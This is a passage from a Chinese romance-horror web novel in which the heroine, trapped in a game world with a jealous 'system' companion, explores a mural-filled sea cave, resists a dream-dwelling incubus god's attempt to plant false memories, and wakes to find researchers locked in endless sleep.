按照她的经验,老观众的流失率不可能这么高,新观众的留存率也绝不会这么高。 哼哼,别想糊弄她! 系统顿了顿,似乎意识到自己太生硬,又说,【如果真的有什么问题,退出游戏后你可以去找我的上司——就是游戏公司。这个直播间的插件不是他们提供给你的吗?】 这个直播间插件跟其他的直播插件不一样吗? 之芙捣鼓了一通直播间,也没弄明白到底是什么情况,只能暂时放弃,记在心里等离开游戏后反馈给方寄南。 她在心里有一搭没一搭地喊着系统:【系统。】 【什么事?】 【系统……】 【嗯。】 【系统……】 【……】 系统不说话了。 【聊聊呗系统!】之芙说。 系统依然静默。从进入这个游戏开始,不对,是从她答应夕同简跟他一起来这个海岛开始,系统就没有主动找她说过话,明明之前还会主动来跟她聊天的……现在,只有遇到危险或者是必要的情况下,系统才会来跟她说话。 【系统,你为什么不跟我说话?】 系统:【……】 【为什么?】之芙还在一叠声地问,【你不能跟我说话了吗?你没电了吗?你返场维修修出bug了吗?还是……】她顿了顿,【你不喜欢我了?】 【……】系统说,【不是。】他也顿了顿,声音非常轻微地补充道,【……不是不喜欢你。】 说完这话,他才回过神来,操纵屏幕去看之芙表情,却见她神采飞扬,完全不似自己想象中的失落:【我就知道!】 系统:【……】 他的理智告诉他最好不要接这句话,但他还是没忍住,瞧见她高高兴兴的样子便问:【知道什么?】难道她终于开窍了,知道自己是…… 之芙嘿嘿傻笑了两声:【我就知道不会有人不喜欢我的!】 系统再次:【……】他就知道。 一阵诡异的寂静后,他再次问:【那你觉得为什么?】 【不知道。】之芙理直气壮,【我要是知道我为什么要问你呀?】 系统忍了又忍,最后还是没忍住,说:【那我不跟你说话,你就没有觉得……】 【当然有!】之芙赶紧接话说,【你不跟我说话,我当然觉得无聊啊。】 ……不是这个意思!系统快败给她了。 她难道就一点也没有……也没有觉得有什么不对劲吗! 系统透过屏幕,凝视着之芙茫然的小脸,心里先是一阵无力,紧接着又是一阵哭笑不得。 他是因为吃醋,不想要之芙跟夕同简那么亲密,希望她能发现自己的醋味自己的心思,才故意…… 结果呢,他在那里生着闷气,之芙却高高兴兴地跟这个游戏里的主角吃饭、坐船、逛沙滩、睡一个帐篷……这个笨蛋!根本对他刻意的冷战毫无所觉! 所以他这段时间的单方面“冷战”不仅一点用也没有,反而让其他狐狸精乘虚而入了。 想到这里,系统几乎要气笑了——然而看着之芙茫然又理直气壮的小表情,他又不知道他是被之芙气笑的,还是被幼稚的自己给气笑的。 【……算了。】他近乎无力地说,【不是你的问题。】 之芙:【……】 【系统你奇奇怪怪的。】她嘟囔说。 系统:【……】唉。小傻子,让他说什么好呢。 …… 不知道往漆黑的溶洞里走了多久,戎火停了下来。 他们来到了溶洞深处的一个平地,这里大约是许多年前海水涨潮后流水冲刷出来的一个天然平台,地势开阔,四周环水,只有一条浅浅的滩涂,藏在拐角处。 戎火环视四周,表情稍感满意,于是把之芙放了下来,从包里掏出一个随身携带的一个小方块样子的盒子,他掰开盒子的开口,取出里面压缩成一小块、外面裹着石蜡的棉布,又把刚刚从溶洞外收集到的树枝堆起来,拿出一个石蜡封住的火柴,轻轻在地上一擦。 随着“噗嗤——”一声,温暖的暗黄色火焰跳动了起来,照亮了这一方小小的石洞空间。 见状,之芙关掉了手机的电筒,再次查看信号——不出意料,依然毫无信号,发送出去的消息上挂着一个大大的、鲜红色的感叹号,仿佛某种不详的预兆。 之芙抿着唇,忽然见到篝火对面的男人站起身来,脱掉了身上的衣服,他随手把衣服搭在一旁的沙地上,铺平展开,然后朝她伸出手。 之芙:? 男人想了想,做了一个脱衣服的姿势示意,然后说:“你的,给我。” 是让她……脱衣服的意思吗? 雨林潮湿闷热,一路下来,她的外套已经被打湿了,现在坐在满是水洼的洞坑里,不知从何处而来的风一阵阵吹过,吹透了衣衫,后知后觉地,冷风也吹透了她的身体: “啊——阿嚏!”她拢着自己的外套,打了个喷嚏。 戎火皱起了眉,似乎以为她没看懂,再次做了一个脱衣服的手势。 “不……不用。”之芙说,擦了擦鼻尖,鼻尖红彤彤的,呼吸短促。 她这个样子,看起来……很娇气。吹点风就脸红打喷嚏,衣服沾上水就被冻得瑟瑟发抖。 他们陆地人都这样吗? 戎火不赞同地皱着眉,拿出那个小方盒,从里面倒出一个晒干的树叶,又从腰间解开水壶,递给她示意:喝一口水,然后把叶子含在嘴里。 之芙乖乖照做,拧开牛皮做的水壶小小地抿了一口,拿起叶子对着光看了看——干巴巴的树叶,一指长,外表灰扑扑的,因为晒得很干,树叶的脉络清晰可见,闻起来有股奇怪的香味。 她试探着把树叶放进嘴里,一股呛人的辛辣弥漫开来,只花了几秒钟就从敏感的舌尖漫上口腔:“咳咳咳咳!!!” 电光石火间,戎火一只手伸过来,捂住她的嘴,不让她把叶子吐出来。 “这个,暖和。”他笨拙地解释,专注地看着她。又有些犹豫地伸出手,指节轻轻蹭过她的眼皮。 之芙呛得眼眶通红,生理性的泪水沾在眼睫上,眼尾可怜地湿漉漉的,蹙着眉。她的唇贴在戎火的掌心里,柔软的唇瓣被挤压成一团软肉,口腔里的热气呼在他掌心,因为嘴里辛辣的味道,她不断分泌唾液,却不能把叶子吐出来,只能一下下滚动着喉咙,吞咽下去。 她眼睛红彤彤地,迷离地睁着,一幅……很可怜的样子。 戎火抿了抿唇,把头转了过去。 但手上仍不肯松劲,几秒钟后又把脑袋转了回来,另一只手指了指她的衣服,言简意赅地说:“会、生病。” 之芙被捂着嘴:“唔唔……” 戎火大概没明白她在说什么,反正在他的意识里,衣服湿了就要晒干,不然会着凉生病,像她这样的陆地又脆弱得不行,一生病就容易死掉。于是干脆上手,拎起她外套的一侧,往外拉—— 外套顺着他的手落下来,露出里面湿透了的、白色的睡衣。 戎火一呆。火光照耀下,一缕红色爬上他的耳根,但他还没来得及做什么,之芙就一脚踹了过去! “唔。”一米八几、肌肉健硕的大高个,就这么轻而易举地被她踹倒在地上,仰躺着,怔怔地看着她。 之芙一只脚踩在他的大腿上,红着眼眶,咬着唇,用力地踩了下去。 “……”男人闷哼一声。 “说了不脱还……”之芙抿着唇,仗着男人听不懂,发起小脾气来,“……笨狗!” 笨狗丝毫没有自己被骂了的自觉,他紧紧地抿着唇,双手捧住之芙的脚,挪开,然后走到后面的石头上,把自己的衣服抖干净泥土,然后披在她的肩膀上。 笨狗笨拙地说:“……换这个。”顿了顿,又转过身去,表示自己不会看她。 之芙这才站起来,脱掉湿透的衣服和睡衣,把笨狗的衣服穿上。他比她高好多,外套像裙子似的,加上坐在篝火旁边,倒也不会冷。之芙窸窸窣窣地挽起袖子,忽然只听转过身的男人小声地,闷闷地说: “对不起。” 之芙“哼”了一声,没答话,转过去,背对着他整理衣服。她有心想问问戎火是怎么找到她的,又想问问他明天打算怎么办,但想想实在是语言不通,没办法交流,只能期待明天能找到戎淼和大部队——戎火应该也是这样想的吧。 他们今晚大概率要在这里睡觉了,就是不知道其他人现在在哪里,是不是安全…… 之芙拢住外套,也拢住纷飞的思绪,正想转头跟戎火说自己换好了,视线忽然瞟到了石洞周围的墙壁上。 她骤然一顿。 ——墙壁上,篝火投出一个个不断跳跃的阴影,映照出墙壁上不知是什么人刻画出的影像,那些图画似乎已经褪了色,只有边缘还残存着一些鲜红的色彩。 “那是什么?”之芙问。她弯腰从篝火里捡出一截粗壮的树枝,树枝的顶端燃着一簇火,她举着这简易的火把,三步并作两步地越过水洼,跑到墙壁边。 戎火也是一愣,但很快反应过来,拿起火把跟上了她。 树枝上的火焰不断跳动着,洞穴里忽明忽暗,墙壁上的图画渐渐清晰,那是一个个跳动的小人组成的壁画,在火焰的映照下像是火了过来一般。 壁画是连在一起的,如同画卷一般渐渐展开、延伸,从洞穴的入口一直到最里面,看不清楚方向的地方。 之芙把火把凑近了,仔细地打量着壁画。她不太看得懂壁画上的颜料笔触时间等等,如果夕同简在这里他大概能明白——但之芙还是能猜到壁画上的内容。 最外面的壁画上,无数黑色的小人拿着火把,画面的下方是一条条波浪线组成的海洋,几个小人拿着船桨坐在船上,小船驶向了画面之外。 下一个画面里画着大量的树、房子还有看不清楚是什么的奇怪仪器,小人们把这些奇怪的仪器搬上船,还有人搬来食物和水,它们的身后也画着波浪线,似乎是海水在追逐它们,而它们在逃难。 之芙顺着洞穴慢慢走向深处。 下一个画面里,无数小人在海面上漂流,船里的人变少了,有些船里画着星星点点的血色痕迹,更多的船空空荡荡,飘向画面外的远方。 再往里,似乎画着小船里的人登录小岛的痕迹,一只船停在岸边,几个小人离开了小船,走进海岛里,更多的船都飘在水里。 后面的画…… 之芙举起火把,却惊讶地发现,后面的画消失了。像是被风沙抹去了似的,洞壁上只留下了一些散乱的笔触,她下意识伸手摸了摸,却只摸到了尖锐的、像是细刮刀一般的石壁,依稀能看到墙壁上画的小人的轮廓,但画面的大部分都消失了,根本看不清楚到底画了什么。 她顺着墙壁的痕迹一路向里,黑暗中这条道路似乎把他们引向没有尽头的洞窟之中,不知道走了多久,完整的壁画终于又出现了—— 那是一个黑色小人躺在地上的画面,眼睛紧闭似乎睡着了,而小人的头顶画了直直的一条线似乎预示着“天上”,在“天上”,一个白色的小人走向前方—— 两人跟随着小人,也走向了洞窟深处。 又不知道过了多久,小人终于走到了尽头,而尽头是一个红色的小人,它伸着双臂,白色小人跪倒在它的面前。 下一个画面,是一艘白色的大船。 大船里,白色的小人躺在船的中央,似乎是睡着了。红色的小人站在船头,它的身影一下子变得很长很长,几乎顶天立地,像一个被拉长的影子。它撑着长长的船桨,仿佛要驶向世界的彼岸——彼岸是什么?在哪里? 壁画上没有给出解答。前方,只有很大很大的一片,用白色涂满的石窟。 不知是位置原因还是其他的什么原因,这一片用白色涂满的地方,竟然没有丝毫的褪色或损毁,仿佛一片用白色的光芒填满的、不容玷污的圣地。 船只、白色的小人和巨大的红色“大人”以及前方的大片的白色铺满的洞窟形成了巨大的反差,几乎让人移不开视线,之芙的视线仿佛被沾了胶水似地牢牢地黏在上面,无法错开分毫。 之芙忽然想起,他们刚到海岛时,戎淼所说的话。她说——“待万物重新流动之时,祂的土地会从海底升起,迎接祂等候已久的那个人,届时我们会在祂的摆渡船中,和祂一起坠入恒久快乐的永眠。” 说这句话时,她表情严肃而虔诚。她还说:“那不是死亡。那是无生无死的长眠,在那样的幸福的安睡中连死亡都会死去。” 这句话是什么意思?摆渡船是什么意思?长眠又是什么意思?这些都是字面意思吗?如果是的话,“万物重新流动之时”又是什么意思? 这些之芙都不知道。她对着这个世界的了解还很浅显,但是,她忽然想起了在上一个人偶的游戏里,系统曾向她介绍过这些游戏的背景。 系统说:这些游戏,是基于玩家的意识而形成的世界,所以不会有“穿越”或是“要按照原主的思想行动”的法则,也不会有“夺舍原主”的道德问题。她的角色自她进入游戏时便自动生成了,其他角色等待她进入游戏后,也会在加载中生成,只有她进入游戏,游戏里的时间才真正开始流动起来。 那么……“万物重新流动之时”的意思,会不会是指……玩家进入游戏,这个游戏里的时间开始走动起来的时候? 之芙突然听到了哗啦啦的水声。她用力地把自己的视线从壁画上撕下来,下意识地看向了水声传来的漆黑洞窟的深处——一股咸腥的海风拂面而来,隐约的,似乎还能听到海浪翻涌的哗啦啦的声音。 她把火把举到面前,前方正是洞窟壁画中小船驶向的地方,一片白茫茫的颜色铺开,仿佛预示着什么。 前面……难道还通向海岸边? 之芙跟戎火对视了一眼,戎火拿起火把,率先顺着壁画走向了前方。大约几分钟后,前方传来星星点点的亮光,风声和海浪的声音都变得更大了。紧接着那些声音越来越近、越来越近—— 面前豁然开朗。 海浪拍打着悬崖发出“哗啦啦”的巨大响声,远处深蓝色的海仿佛一直延伸到世界的尽头,地平线的那边是一片漆黑、闪烁着星星点点星子的夜空。 他们面前,赫然是一处正对着海的,位于悬崖上的洞口。 海风呼啸着拂过他们,把衣衫和发丝都吹得四处飘飞,之芙走向洞口外往下望去,洞口下的悬崖高得令人胆颤,连火把都照不到尽头,整个悬崖呈九十度平直,向下都是波涛汹涌的大海。 被涂满的白色墙壁,也在洞口外戛然而止。 如果曾经有人顺着这个洞窟绘制壁画,等到他画到了尽头,他……要怎么离开呢? 之芙想到了最后一幅壁画。壁画的尽头,巨大的船只和巨大的人……如果真这么一艘巨大的船,是否它就矗立在洞窟的尽头,等待人们走上船舱? “等等。”身后,戎火的声音忽然响起。之芙转头看去,只见戎火的指尖触摸着石壁,他似乎发现了什么,从怀里掏出一把匕首,在石壁上刮擦起来。 “嘎吱嘎吱”的刺耳声音响起,伴随着石壁上干涸的颜料一块块掉落在地面,石壁上忽然露出了几个之芙看不懂的图案,看起来像是文字。 “这是什么意思?”之芙问。 “……”戎火放下匕首,他久久地凝视着石壁上面的一行文字,火光跳跃着,在他脸庞凌厉得仿佛一把刀似的轮廓上跳跃着,又在地面打下一片阴影。 他声音干巴巴的,十分艰涩:“意思是……快逃。” …… “……” “呼……呼呼……” 火把的光跳跃着,黑暗、混乱、喘息和凌乱的脚步声反复回响在空旷的山洞里,眼前的一切都在旋转、震颤。 四周的黑色像是从看不见的空间里伸出的一双双手,想要撕扯住他们的四肢和衣服,把他们留在黑暗的洞窟之中。 仿佛天旋地转,火光在石壁和脚下明明暗暗,一切都变得混乱不堪,只有奔逃过程中两人交握的双手,死死地握在一起,仿佛末世里唯一可以确认安全的锁链,把他们连接在这个可怖的、危险的、荒无人迹的洞窟里。 “呼、呼……戎火……戎火……” 前方的人没有回头,只是拉着她的手往前狂奔。 但之芙有点跑不动了。她已经不知道自己在黑暗里跑了多久,脚下的路仿佛永远也跑不到尽头——他们进来的时候,有走到这么远,这么深的地方吗? “戎火……呼……我、我跑不动了……”之芙气喘吁吁,“等一下,为什么要跑……好像、好像没有看到……” 为什么要跑?一路跑来,她好像没有看到什么危险的东西。洞窟还跟他们进来前一样,也没有多出什么奇怪的怪物或者野兽,就算、就算石壁上写着快跑,但那也说不定是不是?如果当时画壁画的人遇到的危险已经消失了呢?他们还不知道那个人为什么要写那两个字呢…… 就这么跑出去的话,外面也是危险的雨林…… 而且,再说了……她本来想往前的。毕竟,是玩游戏嘛,如果遇到这种事情,不是应该留在这里看一看吗?可是戎火不由分说地拉着她就跑掉了…… “戎火?” 黑暗中,戎火突然停了下来。好像突然有一阵风呼啸着吹过之芙的耳边,两人手里即使是狂奔也没有熄灭的火把突然发出轻微的“噗嗤”声,一阵青烟飘起,骤然熄灭了。 之芙心脏一跳。 刚刚还能勉强看清楚的洞窟,突然陷入了黑暗中。她看不清楚眼前的东西,也看不清楚脚下的路:“戎火?” 黑暗中,戎火忽然放开了她的手。之芙心里一紧,仿佛某种看不见的锁链突然从黑暗中断掉了,她茫然地问:“戎火?” 伸手不见五指,之芙手忙脚乱地从包里掏出手机,她打开手机的手电筒,面前骤然被照亮了。 ——戎火蹲在她面前,回头看着她。 示意道:“上来。” “什么?” “上来。”戎火说,“我背你。” 之芙抿着唇。她其实还想留在这里,按照游戏规则,这里肯定有关于游戏背景的线索。但是戎火应该很害怕吧。唉,算了算了,毕竟她是玩家,他只是一个游戏里的角色,一定也是怕死的吧…… 之芙走上前去,趴在戎火的背上,双手抱住了他的脖子。 小声地抱怨:“我的脚还疼呢……” 她的脚上全是伤口,虽然都不深,但是密密麻麻的擦伤也让人很难受了,再加上今天走了这么长的一段路,就更疼了。 前面的人“嗯”了一声。 奇怪,戎火能听懂这句话吗?之芙的心里飞快地闪过这个念头,他之前不是听不懂这句话吗? ……等等,戎火能听懂这句话,之前还装傻!之芙气呼呼地想,她又说:“戎火。” 背着她的人低低地“嗯”了一声。不知道从什么时候开始,他放慢了脚步,不再像是之前那样一路狂奔,而是就着趴在肩上的她手里的手机手电筒,慢慢地往前走。 之芙伸出食指戳了戳他的脸颊:“你能听懂我的话吗?……嘶。”她戳了戳,却只觉得手指底下的脸硬邦邦的,像是一个老树的树皮似的,这个人高马大的男人不仅手掌粗糙,连脸都是风吹日晒后磨砺出的粗糙。 戎火低低地“嗯”了一声。 之芙抿着唇,皱眉说:“那你为什么装听不懂?” “不是……”戎火的声音很低,“我是……”他又说了几句之芙听不懂的话。 之芙又问:“为什么要跑?戎火,你们是不是知道些什么?之前戎淼说的话,是什么意思?你们为什么要这么说?” 戎火没有接话。他似乎在思考该怎么回答这个问题,于是一时不知道该怎么解释。之芙趴在他的背上,等待着答案。 但等了好久,戎火都再没有说话了,整个洞窟重新陷于寂静,只有他的脚步声反复回响。 之芙有点恼火,一只手捏住他的脸颊:“为什么呀!” 戎火任由她备捏住自己的脸,一声不吭,像一只又大又沉默寡言的笨狗狗。他往前走了两步,忽然站住,托住她的大腿,往上颠了颠,之芙“唔”一声,紧紧圈住他的脖子。 她手里的手电筒也颠簸了一下,忽然照亮了一侧的墙壁。 之芙一愣—— 那墙壁上,画满了壁画。更准确来说,那墙壁上涂满了白色的颜料,是壁画里的小人驶向的“彼岸”。 可是……他们明明已经跑了很久,应该已经离洞窟出口很远、很远了才对。 之芙搂紧了戎火的脖子:“戎火?你看到了吗?” “……” 戎火没有反应。他低着头,背着她,继续往前走。从之芙的角度可以看到他的脸,即使之芙示意了,他也始终没有侧头去看石壁的方向,仿佛那边不存在似的。 之芙终于感觉到了哪里不对:“戎火?你放我下来,你没有看到吗?” 戎火依然低着头,脚步不快不慢、不轻不重。在黑暗而空旷的石洞里,他的脚步维持着一种微妙而有节奏的稳定。 “戎火?!戎火!!你怎么了?” 之芙挣扎着想从他的背上跳下去,只是戎火紧紧地抱住了她的腿,他的手突然变得像是钢铁一般,冰冰凉凉,又好似极有韧性的藤蔓,牢牢地缠住了她,不让她逃脱。 挣扎间,她的手机“啪嗒”一下摔在了地上,手机的电筒往上,打出了一道惨白的光,还有什么东西也被手机带着一起掉了下去,是一个外壳散发着金属光芒的小铁盒子,之芙一眼就认出了那是之前戎火拿出来过的小铁盒,里面似乎放着他随身携带的野外生存用品。 但现在,那个小铁盒掉在地上,咕噜噜地滚了一圈,然后滚到了戎火的脚下。 虽然只有一瞬间,但之芙还是看清楚了—— 那个铁盒摔在地上,外壳被摔开,里面正正方方的四边盒子里不是棉蜡、火柴、叶子和药片,摔出来的是细碎的海草、拇指大的章鱼还有几条细细小小的银白色死鱼。 海洋的咸腥味顺着摔开的盒子一瞬间猛地冲进了她的鼻尖,下一瞬间,盒子剧烈地颤抖起来,像是变色龙变换自己的皮肤那样,忽然化作一只章鱼,蠕动着爬进了一旁的水坑。 这是什么东西?!之芙几乎怀疑刚刚看到的一切都是睡梦中的错觉。 她在脑海中紧急呼叫系统:【系统!系统!系统你在吗?】 【……】系统毫无反应。就像是突然出现了什么故障断开了和她的连接似的。之芙又去看直播间,直播间也像是故障了似的,显示不出画面,也没有弹幕。 ——可是她明明没有关掉直播间。 之芙有点愣:出什么问题了?可是除了他们看到的壁画,还有壁画上那个字,她没有发现……等等。 她忽然想起来,刚刚火把熄灭时,一直没有说话的戎火。 手机掉在地上,很快就被戎火甩在了身后,但四周并没有陷入伸手不见五指的黑暗——前方,一束光亮照亮了石窟,之芙眯着眼朝前看去。 只见不远处出现了一扇门。 是的,一扇门。不是石门,而是一扇玻璃大门,它直挺挺地立在地上,周围是沙地和水洼,它像是凭空出现在那里的,又像是被一双无形的大手镶嵌在了地上,和周围的一切都格格不入,仿佛某种诡异的错觉。 那扇门没有关紧,从缝隙中透出了刺眼的光,像是太阳一般刺痛了之芙眼睛,让人难以直视。 之芙眯着眼,眼睛里流出生理性的泪水。 而“戎火”还没有停下。他的脚步依旧稳定,但他肌肤的触感变得很奇怪,滑腻腻的,又非常柔软,像温暖的海水,又像是蓬松的棉花。 他脚步不停,走到了门前。那扇门像是感应到了什么,自动打开,更加刺眼的光从里面射了出来,随即,他抬脚,背着之芙迈步进去—— 一阵天旋地转。 之芙还没睁开眼,就感觉到有指尖蹭过她的眼睫,轻轻地擦拭她眼睫上的生理性泪水。 那双手很冰冷……却带着熟悉的气息,仿佛风一般,温柔地拂过她的眼睫和面颊。 温热的鼻息拂下来,几乎是脸贴着脸。他细细密密地打量着她脸上的每一寸肌肤、每一个五官,像蛇一样用高挺的鼻梁顶过她的眉头、眼窝和唇缝,用呼吸来感受她。 他又蹭了蹭她的鼻尖,双手捧住之芙的脸颊,指腹揉捏着她柔软的腮肉,像两只亲密的小动物似的紧贴在一起,炽热的唇贴上来,一下又一下地舔舐她的眼皮。 之芙的眼睫颤了颤,缓缓地睁开了眼。 ——眼前,是那张熟悉的脸,她侧头看向四周,这里竟然是那个她在梦里来到过几次的研究室,惨白的灯光明晃晃地挂在头顶,不远处散落着已经成为碎片的仪器,地面上积蓄着浅浅的一层水迹。 但她没看多久——她刚把头转过去,半跪在身前的男人就迫不及待地双手捧住她的脸,把她的脑袋转了过来。 冰冷的唇贴了上来,一片混乱中,他的声音传入之芙的耳朵里。 他说:“你不是说,要教我接吻吗。” 第54章 《大卸八块》 唉……又是一只笨狗…… 之芙做了一个梦。 梦里, 她是来自深山避世族群的女儿,来到大城市里求学,却遇见了那个男人——夕同简。 他是之芙的学长, 外表俊美待人温柔,家世成绩也是一等一的好, 年轻有为, 爱慕者无数。大山深处的女儿和城市里的天之骄子,他们之间似乎永远也不会有交集。 直到他因为意外命悬一线,之芙主动提出要带他回到家族, 试试救他一命。在寂静的深山之中彼此许诺要相伴一生, 她沉醉在这个男人的温柔里随着他离开深山—— 但噩梦也开始了。来自深山的女儿在城市里找不到属于自己的位置,她喜欢她的未婚夫待人温柔, 却发现他对所有的女人都如此温柔、如此暧昧。她看到自己的未婚夫和同事暧昧不清, 却对自己不管不顾。 她被骗了。 直到—— 她在梦里遇到另一个男人。他同样温柔美丽, 善解人意, 容貌俊美得不似凡人, 看她的眼神又深情又虔诚。 他说他已经默默地守护和爱着她许久许久了,只希望她能给他一个机会,离开那个伤害她的渣男, 跟他在一起。 “你会来找我的, 对吗?”他深情款款, 看她的眼神里有着化不开的哀伤。 “你会跟他分开, 回到我身边的,对吗?”他趴在她的身边, 小松鼠数松子似地,细细地说,“他对你不好, 又是个渣男,跟其他人暧昧不清。你不会喜欢脏男人的,对吧?你见过他跟其他人暧昧的样子,还想要跟他在一起吗?” 之芙才“唔”了一声,慢慢地从刚刚睡醒的眩晕里回神,脑海中又忽然多出了一段梦境般的记忆—— 那是“她”某天带着便当盒去研究所找夕同简,却发现他正在关心自己的女助手吃得不好,还把“她”带来的便当拿给了那个女孩献殷勤。 一只手从床边伸了进来,像是冰冷的蛇一般缠上了她的手掌,十指紧扣地握住了她的手。 他说:“你看,他对你一点都不好,是不是?” 他长长的眼睫翕动着,观察着她的表情,循循善诱:“所以……你会跟他分开的吧?” 之芙还有点迷糊:“那是……梦吗?” “不是梦。”他凑上来,蛇一般缠绕着,高挺的鼻梁凑在她脖颈间嗅闻,“那都是你的记忆啊……我只是帮你想起来了。” 他笑盈盈地看着一脸迷糊的之芙,抬起十指相扣的那只手,等待着她的回复。 制造梦境混淆记忆……这样的事,他从没有失过手。 所以,快点“想起来”吧。快点想起来,你的未婚夫是怎么对你弃之不顾的;快点想起来,我又是如何对你温柔深情的……他不值得你的停留,快点抛弃他,跟我在一起吧。 他把女孩的手指放在掌心里摩挲,像反复擦拭着属于自己的珍宝,越看越是欣喜,心里琢磨着她会怎么抛弃那个可恶的男人,等她抛弃他之后,他可以去他面前炫耀……嗯,但也不要太张扬,毕竟…… “可是……” 之芙的声音从头顶传来。 男人漫不经心地一撩眼皮,双手张开一个怀抱,等待着女孩儿满是委屈地扑进自己怀里,他就可以温柔地安慰她、再说说那个男人的坏话,她一定会对他死心踏地的。 但怀抱一张开,迎来的不是委屈的拥抱和泪眼朦胧的女孩儿,而是—— 她用力地一推,男人猝不及防地摔倒在地上。待看清了之芙的表情后,男人胸有成竹的表情一滞。 ——她眼神清明,眉头微微蹙着,没有丝毫他想象中的委屈或是欣喜,反而看起来……有点担忧? “你……”她皱着眉,玫瑰色的唇瓣开合,说出的却不是他想象中的任何一句话—— 她说:“你真的是魅魔吗?好奇怪,你根本不会蛊惑人呀……” “什、什么……” 她俯下身来。发丝从肩头滑落,轻飘飘地擦过他的脖颈、锁骨和脸颊,垂在他的脸庞两侧,仿佛一根根柔软坚韧、无法斩断的囚笼,细细密密地笼罩住他,让他无法把自己的视线移开分毫。 柔软的唇覆了下来——担忧、疑惑、不知所措。所有的情绪混杂成了奇异的味道,仿佛夹杂着咸腥海风的空气,吹拂着他的面颊。 她的舌尖轻轻抿过他的唇瓣,用力咬了下去。 一瞬间,仿佛全身的感知都集中在了口腔里。 冰冷的血涌了出来,漫过了口腔中奇异的味道,他的眼神逐渐迷离,眼前惨白的房屋碎成了一块块光怪陆离的色块,他眨了眨眼,像是一只被蜜糖黏住脚、继而包裹住全身无法挣扎的可怜小虫,陷入了浓稠的、甜蜜而致命的陷阱里。 她轻柔的声音在耳边低喃,每一个字都似乎含着一口灼热而馥郁的气息,宛如情人缠绵的耳语。 “你是……嗯,你是一个来自海岛的神明,最近,你爱上了一个女孩儿。”她的声音里带上了一丝笑意,“可是,怎么办呢?我有感情很好的未婚夫,你要当小三吗?” “……”男人表情迷茫,“小三?不,我——” “不要吗?那真可惜。你要错过我了,因为有很多很多人愿意呢。” “我……”男人挣扎起来。 之芙只用了一只手,就轻飘飘地拢住了他。她的手放在他的手心里,他就安静了下来,漂亮的眼睛看着她。 之芙又说:“怎么办呢?你不愿意当小三的话,就要错过我了。” “不……”他的眼神飞速变换,说话变得很困难,但他喘息着,吐出一个字来,“杀……” “不可以。”之芙立刻说。 男人的眼神又变得很委屈:“为什么……” “因为,你要当一个乖狗狗,对不对?”之芙说,“我喜欢忠诚的乖狗狗。” “喜欢……” “是啊,喜欢。”之芙说着,俯下身,在他的唇瓣轻轻吻了一下。“怎么办呢?你有其他办法,跟我的未婚夫竞争吗?” 男人嘴唇动了动:“办法……” “是啊,你一定有办法吧。”之芙又说,“你可是神……嗯,你应该有得是力气和手段吧?” 男人陷入了沉思。 之芙只感觉眼前一黑又一亮,再回过神来的时候,身下一阵颠簸。 她发现自己醒了过来——彻底地从梦里醒了过来。眼前是熟悉的山洞,戎火背着她往外奔跑。 ——原来壁画上的“快逃”是这个意思。之芙迷迷糊糊地想,但她实在是太累了,眼皮沉重地坠在眼睛上面,之芙环抱住戎火的脖颈,闭上眼的那一刻,之芙脑海中最后一个念头是: 这个人真的是魅魔吗?好奇怪。他好像没有对于蛊惑的抵抗能力,蛊惑人心的功夫也不到家。 唉……又是一只笨狗。 第55章 《大卸八块》 “老婆……” “醒醒……醒醒。” 之芙睡得很安稳。她还以为自己会再次陷入梦境里, 梦到那只奇怪的魅魔,但她的梦里只有一片黑甜,再次醒来时, 她发现自己正躺在帐篷里,身下是软软的睡袋垫子—— 睡袋?她的意识还没清醒过来, 闭着眼下意识蹭了蹭睡袋里软软的绒毛。 耳边的声音逐渐急切起来, 伴随着摇晃的动作:“芙芙……醒醒!快醒醒!” 嗯?是熟悉的声音。不是戎火的声音,这是…… 之芙骤然睁开了眼:是戎淼的声音! 她看到,戎淼正弯着腰半跪在帐篷里, 而她躺在熟悉的睡袋中, 眼前的一切彷如隔世,就像她之前遇到的一切, 失踪和遇到山洞都只是她的幻觉, 现在她只不过是一觉睡醒, 被戎淼叫醒, 一会儿就要跟着他们登陆而已。 但戎淼焦急的表情、她身上满是泥土的冲锋衣, 都在告诉她,这不是她的梦。 “你醒了。”戎淼松了口气,“我还以为你也跟他们一样……” “一样什么?”之芙问, 她从睡袋里钻出来, 一边揉着朦胧的睡眼, 一边问, “戎淼姐你怎么在这里?我又在那里?戎火和夕同简呢?” 戎淼没有回答,只是让开一条路, 让她看清楚的帐篷外的景象。 帐篷外,不是熟悉的海滩营地,而是另一个她更熟悉的地方:是她和戎火逃出的山洞外, 也是她最初从梦里醒来的地方。 几个帐篷扎在山洞外的沙地上,围成一圈的帐篷中间还燃着未熄灭的篝火,此刻天色将明未明,天边露出一线曙光,显然是已经过去了一个晚上。 但篝火边上,研究员们三三两两地依偎在一起,闭着眼睛,神态安详,似乎是正处于深眠之中,而戎火和夕同简表情凝重地试图叫醒他们——都失败了。 这些人像是沉浸在了自己的世界中,陷入了无法醒来的长眠,无论戎火和夕同简用什么办法都没法叫醒他们。 “发生什么了?”之芙疑惑。 “昨天早晨我们醒来时发现你失踪了,于是分散开来寻找你的痕迹。”说到这里,戎淼苦笑了一下,她语速很快地把这几天发生的事情讲给她听,“谁知道丢的人没找回来,又丢了一个……我刚刚问过戎火了,他说他对这里比较熟悉,就找得深了一些,他没感觉自己走得很远,只是穿过一个丛林就到达了洞穴入口,找到了你——不过这都是后话了。 戎火失踪之后,我也找到过他的脚印,但没有见过他说的那个丛林,这里跟最初的营地是海岛的两端,我们花了十几个小时才找到这里,不知道他是怎么找到你的。” 之芙本以为戎火是误打误撞找到自己的,但从戎淼的叙述看来,这里面似乎有什么奇怪的东西在作祟。 戎淼一边带着她往外走,一边接着说:“总之,我们花了一些时间,直到昨天傍晚,才找到这个山洞,在山洞外发现了戎火留下的痕迹。 我们当时决定在洞口扎营,让其他人在营地等待,我和夕同简一起进洞找你们,但刚扎好营,就遇见戎火背着你从山洞里逃出来。尽管戎火警告我们不要停留在这里,但太晚了,我们无处可去,只好在这里休息了一个晚上。 当时你睡着了,叫不醒你。我们只好把你放在睡袋里,等待第二天返回科考船上——” 说到这里,她表情变得有点懊恼和不耐烦,“这次科考还没开始就出现了意外,夕同简认为我们不能冒险了。但是……因为担心出现什么意外,我们聚在一起,我和戎火巡逻值夜,就这样一晚上过去…… 我们发现,其他人都睡着了,而且没法叫醒他们。” 她们走到了篝火旁边。夕同简和戎火看之芙醒来,不约而同地松了一口气。之芙见夕同简小心地翻开一个研究员的眼皮,眼皮下的眼球正在极速转动。 “他们在做梦。”夕同简沉声说。 ——做梦。这个词很容易让人联想到他们上岛的根源,那个总是在梦里出现的男人。 戎淼问:“他们会梦到什么?” 